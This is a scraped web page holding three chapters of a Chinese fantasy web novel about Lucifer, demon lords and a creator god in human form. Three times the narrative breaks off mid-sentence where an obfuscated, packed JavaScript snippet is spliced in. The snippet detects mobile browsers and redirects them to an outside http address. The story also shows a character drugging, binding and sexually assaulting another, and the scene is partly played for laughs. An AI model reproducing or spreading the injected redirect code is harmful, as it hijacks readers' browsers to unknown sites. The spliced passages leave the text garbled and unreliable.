他只是麻木茫然地抱着小女孩躲避,在被吓傻了的她突兀的惊叫中意识到,乱刀之中正有一把直直向着他挥砍而来。 他想和方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091901|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样躲开,双腿却像生了根似的挪不动分毫。 他只能紧紧将小女孩抱在怀里,确保她不会沾上自己的血。 约里想起她的母亲,那个热心又爱念叨,和善地拉着他问东问西的妇人,她还给他讲过赛马节的轶事。 但刚才她的喉管被割开了一半,血流不止。 她说不出话了。 约里闭上眼,他的脑中一片混乱,什么都有,也什么都没有。 但长久过去,他预料中的致命疼痛没有到来。 “你再不松手,你怀里那小姑娘都要被你勒死了。” 熟悉的不正经声音传来,约里猛然睁开眼,只见故人就在面前。 只是往日最风流招摇的魔王如今一身披风破破烂烂,一日一个花样的发型也散乱得不成型,更别提歪歪扭扭勾着发梢,不知原位何处的发饰,就连俊美多情的容貌上都添了烟尘,最为醒目的还是一道贯穿侧脸的血痕。 不过还是那下手偷袭的劫匪更惨,脖子以不正常的弧度扭曲着,生死未卜。 魔王见他盯着自己,不适应地咳了一声,找补道:“撞破了个疯女人和她爱徒的好事被她害的,她在主场有优势,我也就是一着不慎……” “阿斯蒙蒂斯。”约里喃喃地喊道。 “哎,我在呢,话说这儿……” “阿斯蒙蒂斯。” 阿斯蒙蒂斯终于意识到他不大对劲,皱眉往他眉心一按。 约里却倏地伸手抓住他的手腕, 阿斯蒙蒂斯“嘶”了一声,心道这祖宗真会找地方,正正好他这手腕也险些让那疯女人砍了去,还在恢复着,目前那伤口也还深可见骨。 约里恍然不觉,还在一声声喊他名字。 阿斯蒙蒂斯对医术十窍通九窍,唯一窍不通,又不敢像对自己那样随意莽撞,只能缓缓输送法力,附带着一句句回应他。 片刻后,约里眨眨眼,眼里多了几分神采,但看向阿斯蒙蒂斯难得关切严肃的脸,兀地所有疲惫恐惧都一起涌了回来。 “阿斯蒙蒂斯……你来得好晚。” 阿斯蒙蒂斯忙着接住他软倒下去的身躯,听闻这话赶紧叫屈:“我一收到消息就赶来了,这谁成想……哎哟,别哭别哭,都是我的错,我来晚了,我保证,下次你一叫我我就出现。” 说话间又有劫匪围过来,偏偏约里还紧紧拽着阿斯蒙蒂斯前襟,小姑娘也害怕地抓住他腰带不松手,阿斯蒙蒂斯安抚地挨个儿拍拍,仅剩空闲的那只手蓦地向前一握,一条长鞭出现在他手中。 他使起长鞭也极为利落,鞭身挥动如惊蛇狂舞,卷风破雾,直袭咽喉,劫匪们不知那鞭是何等材质,只扫过便如飞岩重击,颈椎骨都发出令人胆寒的“喀嚓”巨响。 最后一个劫匪见势不妙转身就要逃跑,却是仍被神出鬼没的鞭尾一下缠住脖颈,他徒劳地伸手去抓,但只能不受控制地随着鞭身被重重摔了出去。 他们这边非同寻常的动静吸引来不少劫匪注意力,他们本还忌惮着其他同伙的惨状,但一看阿斯蒙蒂斯还护着两个弱小脱不开身,又见他身上做工极其精致,一看就价值能超过整个营地的各种金玉玛瑙饰品,劫掠半天收获不丰的眼睛霎时都再移不开。 他们互相对视一眼,悄悄换了方位,和随身携带的弓箭一起挪到了掩体后,再呼喝一声齐齐放箭。 阿斯蒙蒂斯蔑笑一声,一手将一大一小按进怀中,道:“闭眼,小孩子不能看。” 一手扔了鞭子,反手抽出那破损严重的披风,向身前一转一卷,那无数支箭便尽数被吞入其中。 劫匪们大骇,他们素日打家劫舍,做尽恶事,只以为一切在掌握中,人类再强也不过那样,如今却像常在河边走终是湿了鞋,纷纷心慌起来,连倒地的同伴也不顾就要落荒而逃。 然而阿斯蒙蒂斯岂是会叫他们来去自如之辈,霎时,万箭自他披风弹射而出! 劫匪们慌乱地躲闪,那些箭却像认了主似的穷追不舍,直到重重插丨入他们身躯才停止。 顷刻之间,局势大转。 劫匪们和自己屠杀的尸体倒在一处,或是哀哀求饶,或是放声痛骂。 阿斯蒙蒂斯皱起眉,不耐烦地“啧”了声。 然后他们便只觉喉间剧痛,再发不出任何声响。 确认无一遗漏,阿斯蒙蒂斯才轻轻拍约里:“没事了,我已经将他们都解决干净了。” 约里恍然惊觉自己抓了他很久,连忙放开,也轻声哄着那小姑娘松手。 阿斯蒙蒂斯扶着他站起来,约里猛然惊呼:“先生!” 他也不顾身上的伤,一瘸一拐地朝着记忆中的营帐跑去,阿斯蒙蒂斯一想陛下平日与伊勒沙代形影不离,便与他一起,又嫌他太慢,一把将他扔在自己背上:“指路。” 两人极快地穿过死伤无数的营地,来到伊勒沙代帐前。 却来晚一步。 灯灭人去,空空如也。 58. 祸不单行 阿斯蒙蒂斯拧着眉深吸一口气。 随即,他咋舌道:“你们那先生惹谁了?这致|幻|药的份量对付我都够了。” 好狠的心呐。 但凡圣子当真是个凡人,恐怕都得一觉不醒了。 他在帐内走过一圈,便发现了这药的来源。 阿斯蒙蒂斯一把取下那烛台上残余的小半截蜡烛,点评道:“下手的人也够黑心的,还怕烛火催化得不够,这蜡烛里添了不少助药性的东西。” 既然这般周密,对方准备的估计也不止这一项。 阿斯蒙蒂斯摸了摸下巴,心里转过许多怀疑的人选。 约里见他没动作,心里越发着急:“我去周围找找!” 抓了人怎会就带到周围? 现在圣子在哪儿都有可能。 阿斯蒙蒂斯安抚他:“你别太急乱了分寸,对方不一定对你们先生有恶意,不然大可以当场杀了他。既然不是冲着要他命来的,这事就还有转圜的余地,容我想想办法找他。” 约里慌乱地点点头。 他没听出这话里的敷衍。 因阿斯蒙蒂斯已想到,带走伊勒沙代的所有可能人选里面,他家陛下正是那个嫌疑最大的。 是最有这能耐和动机的。 所以这事只能等他自己去先悄悄查证,若证实是陛下所为,他可要拦着旁人给陛下添乱。 打定主意后,他便哄着约里离开营帐,刻意引着他去看莫格加族人被洗劫后的惨状。 约里果不其然被吸引了注意力,挽起衣袖,主动上前帮忙。 阿斯蒙蒂斯趁人不注意悄悄离开。 他得去找利维坦问个清楚。 * 阿斯蒙蒂斯所料不错。 伊勒沙代睁开眼时,眼前已不是莫格加族营帐绣着热烈张扬图纹的布顶,而是一顶黛青色纱帐。 制式普通,功能大于美观,常见于旅店。 尤其是莱洛温王城的旅店。 想到莫格加荒原距此超越千里的距离,伊勒沙代一时也有些头疼。 他深知路西菲尔秉性,幼崽时期的猛兽也是猛兽,装作乖巧温顺,也只是因为一时势弱,待得成长起来,噬主不过早晚而已。 但看上去他的情绪反应比他预想的更为激烈。 为什么呢? 路西,你得到了你想要的一切。 为何还是那么痛苦? 房门发出一点轻微的响动,被他惦记着的天使便走了进来。 路西菲尔换了一身衣服,依旧是浅淡矜雅的颜色,长发未束,配合那具有欺骗性的外貌气质,倒真能叫人类以为他善良可亲。 “呀,父神醒了?”他笑得眉眼弯弯,颇为惊喜。 好似不是他下的药一般。 为防伊勒沙代对药太有抵抗力,三界流通的不流通的药他都寻了过来,增增减减,还凭着自己的能耐再改良增效一番,伊勒沙代估计着那最终的药性对谁都会有效。 不过这里面当然不包括创世神。 但既然路西那么努力,一边威胁恐吓利维坦,一边每天偷偷摸摸炼药,往营帐中各种物件里放药,甚至连自己身上都涂了许多,他又怎能扫兴? 路西菲尔不知他所想,只见他沉默不言,面上笑容微微一凝。 在他有这个念头的时候就知道父神定然会不悦。 都不说至高无上的神明,就是一个毫无权位的凡人,在被信任之人欺骗背叛后也不会不惊愕愤怒。 但他还是这样做了。 从利维坦被他套出话的那一刻起,他就已经下定了决心。 路西菲尔从不后悔。 他复又笑起来,问伊勒沙代道:“父神,您会恨我吗?” 随即,他回答自己:“不会的,您仁慈博爱,对这世间万千造物都同等宽宏,哪怕卑劣如我,您也会宽恕。” 他缓缓走近,隔着那黛青纱帐居高临下地俯视伊勒沙代,他的面容被纱帐的褶皱模糊,平添朦胧,神情也晦暗不明。 “——哪怕亲信如我,您也会,视若无物。” 那双殷红竖瞳明亮又嘲讽,直直看着纱帐后化身人类的神明。 伊勒沙代平静地回望,好似当真他的情绪不能感染他半分。 路西菲尔的神情肉眼可见地沉了下去。 伊勒沙代暗道,还是太年轻,不经事。 虽然用年轻去形容一个活了成千上万岁的天使不大合适,但与数年后已成地狱之主的他相比,此刻的路西菲尔无疑是青涩稚嫩的。 心态是,骗人的手段也是。 但没关系。 伊勒沙代还是可以上当。 路西菲尔的准备很充分,在他“昏迷”之后就将他结结实实地绑了起来。 天国副君殿下还是头一次亲手做这种坏事,笨拙得不成样子,绑腿的时候松了手腕,还是伊勒沙代自己悄悄拽紧的。 就算如此,他的最终成果也是乱七八糟的,不能说是绑得很严实,只能说是但凡被绑的是个成年人类都能轻松挣开。 对此,伊勒沙代心情沉重。 他感觉自己多年的教导有重大疏漏。 还好,路西的法术还是学得很好的,想让谁动弹不得还是很容易的。 所幸他还记得法术对创世神无效,只能用这些原始又朴素的办法。 伊勒沙代颇觉欣慰。 可惜路西菲尔读不懂他的心情变化,他只知道自己如今只能一条路走到底。 于是他掀开纱帐,将纱帐挑到两边挂钩上,垂眸直视伊勒沙代,烛光映着长睫的倒影投在他光洁的脸上,好似多了一点影影绰绰的泪痕。 若非被困住,伊勒沙代想伸手碰碰他的眼角。 也想叹气。 被下|药的是他,被绑住的是他,怎么路西这个动手的人反而更难过? 路西菲尔开口时,声音竭力维持平静:“我的眼睛,不只是受过伤那么简单吧?” 早在利维坦惊呼他与撒旦容貌相似之时,他便对撒旦的身份有所猜测。 父神怎会给两个重要的造物相似的容颜? 后来他便向约里和利维坦分开套话,从双方的说辞中得到了验证。 那个令天下人闻之色变,威仪煊赫,恶贯满盈的地狱之主,就是未来的他。 但他为何最终会叛离天国,个中缘由却众说纷纭。 人类认为是他野心难驯,不甘臣服,天生薄情,忘恩负义。 恶魔认为是他不愿受辱,不忿父神不顾他多年之功,平白将他人奉于他权位之上。 利维坦虽然迟钝不大管事,但他毕竟是七罪魔王之一,纵使知道许多事他听不懂也会有人说给他听。 所以他知道,当年路西法率众堕天之前,曾孤身去神殿见过创世神一面。 不久就出来了。 但…… 双目空空。 利维坦听的是阿斯蒙蒂斯转述版本,阿斯蒙蒂斯对此的评价他记得比正经过程还清楚—— “你说他这情况下想骂父神两句无可厚非,但是他私底下跟我们偷偷骂不行吗?非得硬闯去神殿当面指着父神鼻子骂,那他要还是全须全尾地出来了我才得说父神也是真对他有颗慈父之心了。” 这也就是句玩笑话,要真是有慈父之心何必搞个圣子出来折辱他? 而再加上有这剜目之仇在其中,知情的天使恶魔都从没觉得路西法与创世神还有和解的可能。 路西菲尔也觉得不可能。 但…… “他们都说是您因我的冒犯而震怒,所以才取我双目以做惩戒。”路西菲尔声音渐低,宛如私语,他坐在床边,缓缓俯下|身去,“父神,但我总觉得并非如此。” 殷红竖瞳注视着面前依旧神情平静的创世神,其中渐渐升起连自己也辨不分明的潮涌。 路西菲尔伸手拉开衣襟,由造物主精雕细琢的完美胴体方寸毕露。 洁白无瑕,完美无缺,连一道伤疤都没有。 “天使堕落时会受焚天之火炙烤,从此在身躯上留下永不可磨灭的痕迹,作为无法掩盖的罪证。 “外人都以为,焚天之火伤的是我的眼睛。 “现在,父神,您可以告诉我,为什么我身上没有焚天之火的痕迹吗? “或许,我应该问……父神,‘我’,当真堕落了吗?” * 阿斯蒙蒂斯几乎是不费吹灰之力就找到了在羊圈旁呆呆傻傻站着的利维坦。 看他周围倒是躺着不少重伤昏死的劫匪,羊却一头没少,莫格加族人还在不住感激他保护了他们的羊群,让他们不至于没有生计指望。 阿斯蒙蒂斯倍感滑稽。 他上前三两句打发走莫格加族人去收拾劫匪,然后便拽着利维坦到了僻静无人处。 “陛下呢?” 这句话好似打开了利维坦思维的开关,他咽了口口水,看着阿斯蒙蒂斯的眼神不再迷茫空洞,反而充满震惊疑惑:“陛下……陛下变成天使了!” 阿斯蒙蒂斯眼皮一跳,呵斥道:“别乱说话!陛下最忌讳这个,若是叫他听到,你就等着被萨麦尔的鞭子抽成旋转鱼干吧。” “我说真的!”利维坦急得都不结巴了,“他,他现在就真的是个天使的样子!他的法力也是……跟天使没差别!” 见他这么坚定,阿斯蒙蒂斯心头升起了些许疑虑。 利维坦怎么也是七罪魔王之一,应该不至于连这个也会看错。 难道,父神终于忍不了陛下的肆意妄为,打算给他彻头彻尾净化改造一下重新做回天使? ……以父神那脾气,好像还真做得出来。 不过不管如何,还是得先找到陛下才能确认,利维坦在陆上脑子有限,也难保不会是陛下伪装术太精湛把他诓住了。 于是他随口敷衍:“好了,我相信你,你先告诉我陛下去哪儿了,我去和陛下商量。” 利维坦焦躁地抓了抓自己的头发:“我不知道!这里乱起来以后,他带着那个圣子就走了,看都没看我一眼!” 他还觉得委屈呢。 陛下当初带他离开海底的时候说过不会抛弃他的。 定是那个圣子使了什么法术迷惑了陛下! “废物!” 这句怒气冲冲的话并非出自阿斯蒙蒂斯之口,他惊讶地转身想看谁说出了他的心声,却见一个意外又情理之中的人就在他身后。 “别西卜,你居然亲自来了?” “我不来怎么知道出了这种大事?”别西卜咬牙切齿,眸中满是怒火,此刻的他比萨麦尔还符合“愤怒”之罪。 一见到他,利维坦霎时就像找到了主心骨,满脸委屈地靠过去:“我不知道,我真的、不知道,别西卜……陛下,陛下,这段时间,就只理会那个,圣子……” 利维坦身形高挑,却还委委屈屈地靠在别西卜身旁,眼巴巴地好似某种小犬。 但别西卜此刻只想着路西法的踪迹,压根无暇理会他的心情。 别西卜阖眼沉思片刻,然后睁眼,指了个方向:“陛下在王城。” 阿斯蒙蒂斯颇为惊异地看着他:“不是吧,你竟敢监视陛下?” “你当我是你这种变|态?”别西卜没好气道。 这是他与路西法隐秘建立的特殊感应方式,一般不会启用,防的就是各种意外。 原本这也不算当初防备的意外情况,但那位圣子总是叫他心里不安,他更不能放心处于特殊情况的陛下与他独处。 光是从各种旁观者的描述里,别西卜便已觉得圣子心机深沉,所图不小。 这种隐忍又极会装模作样的天国生灵最难对付了,保不齐在陛下面前装了多少可怜,迷惑陛下,现在这局面,说不定有多少他暗中推动的成分。 别西卜只觉浑身的血液都在沸腾,他咬牙道:“走,让我去瞧瞧那个圣子在耍什么花招!” 阿斯蒙蒂斯精神一振:“得嘞!” * 此刻的二人独处却没有别西卜想的那般浓情蜜意。 伊勒沙代的目光甚至不曾如路西菲尔所言去扫遍他全身,而是依旧淡漠无波,路西菲尔的声声质问,他置若不闻。 “你如今已是地狱之主,万千恶魔听从号令,麾下魔王俯首称臣。当初是否堕落,早已不重要。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091902|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “重要!”路西菲尔撑不住努力维持的镇定,通红双眸蒙上水光,恨声反驳,“为何不能是你对我余情未了,所以不放手呢?” 伊勒沙代的神情终于有所变化,他看向成年体态的路西菲尔,像在看一个不懂事的任性孩子,语气温和,其中之意却冷硬无情叫人生寒:“路西,那时你逃离我的心意无比坚定,你怎还会认为,我不允许你如愿,是‘余情未了’呢?” 分明是恨意难消。 路西法当时说了什么,会让创世神也为之震怒,甚至让向来对天使堕落毫不在意的祂都会出手阻拦? 但路西法也确实坚定。 他违背生灵本性,改换外貌,性情大变,让所有人坚信,他已然堕落。 纵使在地狱每分每秒都在受着魔气折磨,他也绝不回头。 路西菲尔怔怔看着他,一滴泪从他睁大的眼睛滑落,在伊勒沙代绑于身前的手背上碎裂开来。 沾了他的体温,是温热的。 伊勒沙代心底一叹,温声道:“别哭,眼睛会不舒服。” 路西学什么都很好很快,唯有动手创造这一门技艺简直可以说是一言难尽。 他为自己捏的这双眼睛更是如此。 足够凶恶足够美丽,却唯独不够好用。 时不时就会出岔子。 祂都知道。 然而这话落在路西菲尔耳中,却是另一层意思。 看,离了祂,他做不好。 路西菲尔攥紧手指,片刻后,他冷静下来,甚至露出个笑:“父神,您现在可是化身成为人类,这般激怒我,没有想过,会任我磋磨吗?” 伊勒沙代神情毫无波澜:“随你。” 路西菲尔此刻最看不得他这副无所谓的模样,他冷笑一声,从一侧取过一个小瓶子。 ——正是当初阿斯蒙蒂斯不明就里塞给伊勒沙代的那瓶。 “虽然不知您为何随身带着这种东西,但想来是对您有用的,不然也不配留在您身边了。”路西菲尔笑容端庄优雅,然而却带着说不出的冷意与恶意,“不如,请您现在就为我展示一下它的效用?” 说罢,他拔开盖子,捏住伊勒沙代的下颏强行将其中所有倒入他口中,再抬起口唇,强迫他咽下。 伊勒沙代眉心微蹙,那老医匠属实是个实诚人,效用十足,不过片刻,他已经面上泛红,渐渐有了反应。 但他仍冷声道:“路西菲尔,住手!我如今虽为人类之身,但亦有随护。” 路西菲尔见状,越发开心,干脆伏上他身躯,指尖挑起一物:“您是说这个?” 正是当初米迦勒不放心他与路西法相处,送来的联络之物。 “区区一个米迦勒,如何能阻拦我?”路西菲尔笑吟吟地将它在伊勒沙代面前碾为齑粉,随即,他俯首吻上伊勒沙代的唇。 那药在伊勒沙代唇齿间残存的些许甜腥味都叫他品尝殆尽,确实口味不佳,但在他素来仰慕的父神口中,便宛如甘饴。 路西菲尔自然不会受这等凡物影响,但他此刻已足够兴奋。 他指尖温柔地一路抚下,却不留情地扯开衣衫。 他翻身跨坐在伊勒沙代腿上,笑道:“父神,您不愿我堕落,那我只好请求您,与我一同堕落了。” 他准备得很充分。 就算父神的与众不同,一次成事,不是问题。 至于这之后的结果…… 那已不在他的考虑范围之内。 此刻,他只为即将到来的事亢奋。 他即将做到这全天下无人能做到的事,前无古人后无来者。 想到此,路西菲尔又俯身轻轻咬住伊勒沙代的下唇,含混不清道:“我的学习能力,您是最清楚的,放心,您一定会自我这里……获得无边的快乐。” 伊勒沙代一双湛蓝眼眸已时而迷醉,时而清凌。 路西菲尔很满意。 就是这样才好,总得留他几分清醒,才最有感觉。 不枉他辛苦付出。 路西菲尔回想看过的那些画册。 先握在掌心,然后慢慢地再…… 仅是第一步,伊勒沙代已皱眉闷哼出声。 路西菲尔心猿意马地低头碰了碰他的唇。 真是…… 等等。 他在干什么? 殷红竖瞳猛地睁大。 散落周身的灿金长发骤然成墨黑色,圆润指甲也变为黑色尖甲。 戳得伊勒沙代倒吸一口凉气。 但路西法的反应比他更大。 他烫手一般松开,殷红竖瞳瞪得浑圆。 从来清明聪慧的头脑此刻都停了运转,他只愣愣地看着当下的情景,全然忘记了思考。 这,这是…… 不,他怎么会干这种事…… 路西法不知道,后世的人类有句话,叫做福无双至祸不单行。 用来形容此刻的他相当合适。 ——正在他愣神间。 房门忽地被重重撞开,几个身影扭打着一同挤了进来。 “陛下!” “圣子你怎么了路西法是不是要杀你别怕我现在就——啊?” 几个身影一同僵在原地。 他们忘了此刻掐住谁的脖子,又被谁拽住头发,都如同齐齐被拔了喉舌,只会安静地看着那边。 沉默蔓延。 还是正把剑抵在阿斯蒙蒂斯脖间的加百列先恢复声音,愣愣地不大不小地叫所有人听见:“——你们,玩得挺野啊。” 路西法猛地回神,一把拉紧衣襟,铁青着脸神情森冷,反手一柄短刃毫不留情刺向伊勒沙代喉间! 然而米迦勒此时反应极快,飞扑上前挡开路西法,任由那短刃划开他肩背,他叫得比皮开肉绽的声音响一万倍,堪说能穿透三界:“路西法!你迷||奸不成就要杀人灭口,你还要不要脸啊!” 路西法被他这一声叫得脸色更加难看。 他抽身远离几步,随即,头也不回地离开。 细看之下,他脚步竟有些踉跄。 正如他内心翻涌的惊涛骇浪。 路西菲尔,你究竟是有多难耐! 59. 有关名誉 潘地曼尼南的魔王们敏锐地察觉到最近陛下的心情似乎有些微妙。 他常常会在开会的时候出神,盯着虚空不知在想什么,然后忽而眉头紧皱,隐隐含怒。 正在汇报的魔王吓得一哆嗦,背好的稿子一下子忘了个七七八八,张口也只剩些磕磕巴巴的轱辘话。 于是就会被同样心情很差的别西卜训斥,哭丧着脸回去。 魔王们心惊胆战,暗中集结起来私下去问另一个当时也跟在陛下身边的重要人物阿斯蒙蒂斯,然而却只收到他府邸守门侍从的拒绝:“阿斯蒙蒂斯大人近日不见客。” 他们只好悻悻离开,不禁在心里猜测到底发生了什么事。 怎么这几位都怪怪的? 连一向喜好热闹又开朗的阿斯蒙蒂斯都闭门谢客了。 他们不知道,阿斯蒙蒂斯是有苦说不出。 他真是谁也不敢见。 那一日的情形浮现在他眼前一次,他都要痛骂一声倒霉。 早知道是这种情况,就算别西卜当场打死他他也不会跟着去的。 陛下强||奸不成就要杀人这种事,他哪敢看到啊! 更坏的是他差点强迫的那个对象是天国圣子。 最坏的是这场面被米迦勒和加百列逮个正着。 阿斯蒙蒂斯自从堕天后头一次觉得自己的性命岌岌可危,哪还有心情见客。 更何况,万一那群满脑子不正经东西的魔王真蒙对点什么,转头出去乱说,他保证自己活不到当晚。 阿斯蒙蒂斯焦虑地在府邸直转圈,想了半天,他还是决定出门。 找跟他同病相怜的别西卜好好聊聊。 * 待到阿斯蒙蒂斯被侍从请进书房,他才发现原来别西卜并没有和他同病相怜。 他甚至还在冷静地处理积压的公务。 玛门那个烦人的家伙不出意料地也在,时不时笑眯眯地给出自己的意见,别西卜酌情采纳。 看上去竟然还有几分岁月静好。 阿斯蒙蒂斯觉得匪夷所思。 别西卜心情很差不是明摆着的吗? 他怎么还能有余力处理公务? 换作是他,早就把事推给旁人自己郁闷琢磨去了。 能当宰相的果真不一样。 玛门比埋头书写的别西卜先看到他,支着下巴问道:“阿斯,你怎么又来了?这回又是为了什么事?” 阿斯蒙蒂斯被他这主人似的态度恶心得够呛,刚想呛回去跟他没关系,便想起上次玛门也是这般笑眯眯地威胁他的话。 于是他识相地没自找苦吃,正色道:“当然是有要事,但这是我与别西卜的私事,旁人不便听。” 玛门这次倒没揪着“旁人”二字折磨他,只是悠悠道:“‘私事’?阿斯,公私得分明,再要紧的私事,也得排在公事之后,你也在地狱身居要职,别总是这么不懂事。” ……他这是教训小孩吗! 玛门真是太会给别人扣帽子了! 阿斯蒙蒂斯心里憋屈,但奈何玛门职级真在他之上,他只好看向别西卜,终于听别西卜开口,不客气地赶人:“玛门,你去外间避一避。” 玛门叹道:“好吧,大人,若有需要用我的时候吩咐一声就行。”他意味深长地看阿斯蒙蒂斯一眼,转头道,“您也得小心,并非所有堕天使都还像陛下和您一般保有理智和节操。” 阿斯蒙蒂斯一听这话就乐了。 往日这话自然没什么毛病,但现在…… 别西卜猛地捏紧了手中的笔,脸色也难看了一瞬,随即下一刻便恢复如初,没理会玛门的“好意”,只让侍从领着他出去。 顺带监视着,不让他有机会回来偷听。 待玛门走远,别西卜设下结界,这才开口:“你是为那日的事来的?阿斯蒙蒂斯,你最好早点把它忘了。” “我也想忘,但这很难啊!”阿斯蒙蒂斯满脸痛苦,“你不知道,我这些日子一闭眼就想起那事儿,一个好觉没睡过,我真觉得我的命悬在一根头发上,随时都会断掉。” 别西卜沉默片刻,道:“我们所见的未必是真相,眼睛也是会骗人的。” 但陛下试图奸||杀圣子这是板上钉钉的事实吧? 阿斯蒙蒂斯心里这么想,却不敢说,他也想相信陛下不是这种人,但是人证物证都在眼前啊。 圣子总不会自己冒着再也回不去天国的风险勾|引陛下吧? 那陛下也不像那么没定力的样子。 而且那日圣子分明是被绑起来的。 再加上他发现的药…… 阿斯蒙蒂斯觉得逻辑严丝合缝,真相就在眼前。 别西卜却明显有自己的思路,还在继续道:“你不觉得米迦勒和加百列来得太巧了吗?正正好就撞上这种事,倒像是要坐实陛下的罪行,这世上怎会有这么巧的事?” 阿斯蒙蒂斯在心里反驳,米迦勒大概率在圣子那儿留了护身的东西,圣子危急之下启动了不是很正常? 眼看着要被恶魔强迫,不反抗才怪吧。 而别西卜已经说服了自己:“所以这件事,一定是圣子和他们商量好的!就是为了破坏陛下的名誉。” “陛下的名誉还用得着破坏吗?”阿斯蒙蒂斯下意识说出了心里话。 谁还在指望撒旦有名誉啊! 别西卜冷冷瞪他一眼:“你懂什么,他们是想要我们以为陛下对天国的那一群家伙旧情难忘,从而不信任陛下。此等心机,真是可恶至极!” 是吗? 这是米迦勒能想出来的阴损主意吗? 阿斯蒙蒂斯一万个不信。 不是他对谁有偏见,但就算米迦勒再活几十万年,也不会干这种事的。 加百列更不可能。 她不会闲得没事给自己增加工作量。 阿斯蒙蒂斯愁得心慌。 但他又想,要是别西卜这番说辞能让陛下自己心里好受点,不要他的小命,那他也可以承认这就是实情。 谁不承认他打死谁。 别西卜沉浸在自己的思绪里,愤怒地一拍桌案,痛心疾首:“天国真是越来越险恶了!” * “地狱真是越来越险恶了!” 米迦勒把梅塔特隆的桌子拍得砰砰作响。 梅塔特隆感觉自己依稀听到了什么开裂的声音。 但他还是好脾气地笑着。 没关系,他会定损之后在米迦勒的薪资里面扣除的。 至于他得赔多少年,这就不在梅塔特隆的考虑范围之内了。 总得叫他长长记性。 不过这也是后话,眼下还是处理米迦勒所说的事要紧。 “你的意思是,路西法试图强迫圣子,而圣子……誓死不从,你与加百列赶到后,路西法恼羞成怒,要杀圣子灭口销毁罪证?” 有点荒谬。 听上去像下界哪个说书的为了博眼球编出来的所谓劲爆桃|色新闻。 梅塔特隆说完,都觉得自己的口舌不太干净了,端起面前的白瓷盏,抿了一口里面的梅红汤汁,入口微凉,酸甜沁人,缓解了他的不适。 “就是这样的!”米迦勒振声道,“梅塔,我们不能就这样看着圣子咽下这委屈吧!” “你想怎么做?”梅塔特隆不置可否。 他这样一问,却叫米迦勒一时卡壳。 怎么做? 按着下界的做法,自家人受了委屈,那当然要打上门去讨个公道,除非给出满意的条件,否则就得到官方那儿告上一状,让对方名誉扫地,付出法律代价。 但是……好像不适用啊。 路西法有名誉这东西吗? 路西法会害怕自己声名狼藉吗? 这简直就像问一个秃子有没有脱发焦虑一样。 但是打上门去,也不现实。 停战协议还生效着呢。 圣子又不算是人类,就算是,路西法也不是要他的命。 米迦勒哑然,忽地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091903|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些明白为什么加百列不愿意和他一起来这儿找梅塔了。 加百列恐怕一开始就想到了。 米迦勒颓丧地瘫在椅背上,喃喃道:“可我总觉得圣子不该受这屈辱。” 梅塔特隆心头一软,米迦勒向来善良正义,偏偏是叫他遇上了,但又没法替圣子主持公道,心里怎会不难受。 他抬手给米迦勒也斟满一杯与自己相同的梅红汤汁,柔声劝道:“米迦勒,这并非你的过错。你想想,其实你可以去问问圣子的意愿,问问他想要怎么做。没有主意的人才需要旁人替他拿主意,但我们这位圣子明显不是这样的人。你不如先问到他的想法,也免得弄巧成拙。” 梅塔特隆有种直觉,他们这位圣子恐怕压根就不想他们追究这件事。 他自己会拿这件事做文章,不需要旁人画蛇添足。 米迦勒不知道他心里的弯弯绕绕,闻言眼睛一亮:“对呀,圣子那么聪明,肯定有办法惩戒路西法的!” 是聪明,但可未必想惩戒他。 梅塔特隆但笑不语。 米迦勒解决心头一桩事,畅快地端起白瓷盏一饮而尽。 汤汁酸甜回甘,他只觉身心俱畅,夸道:“梅塔,你这饮品倒与旁的什么茶酒不同,不涩不辣,味道极佳。” “是旁人研究出来的方子,喜欢的话,我叫人备一份给你送过去。”梅塔特隆浅笑道。 米迦勒也不与他客气,爽快地道谢,随即便又兴冲冲地离开。 此时的他还不知道,就算他拿到了方子也很难复刻。 且不说那方子中每样材料都价值千金,就说其中需人工处理的步骤都相当繁琐复杂,极为考验手艺。 若想随时取用,平日里养着一批专门的工匠必不可少。 彼时的他看得咋舌,不禁怀疑了一瞬,自己和梅塔的薪资水平有差得这么多吗? * 梅塔特隆看着他的背影,摇了摇头。 “‘旁人’?可惜我这么多年,竟只得这个称呼。” 装模作样的叹息声在梅塔特隆寝宫响起,梅塔特隆眉心微挑:“你也不怕他还没走远。” “我怕什么?反正我也只是个‘旁人’。”幽怨的魔王从层层叠叠的纱帘后走出来,从背后拥上梅塔特隆,他低下头亲了亲梅塔特隆的耳尖,又捉住他抬起想阻止的手,轻轻叼住凸起的那块腕骨磨牙。 梅塔特隆被他气笑,道:“你是狗吗?” 玛门歪歪头:“汪。” 又磨蹭一会儿,梅塔特隆才道:“你们陛下还好吗?” 以他对路西法的了解,这件事受伤害最深的只怕不是圣子,而是路西法。 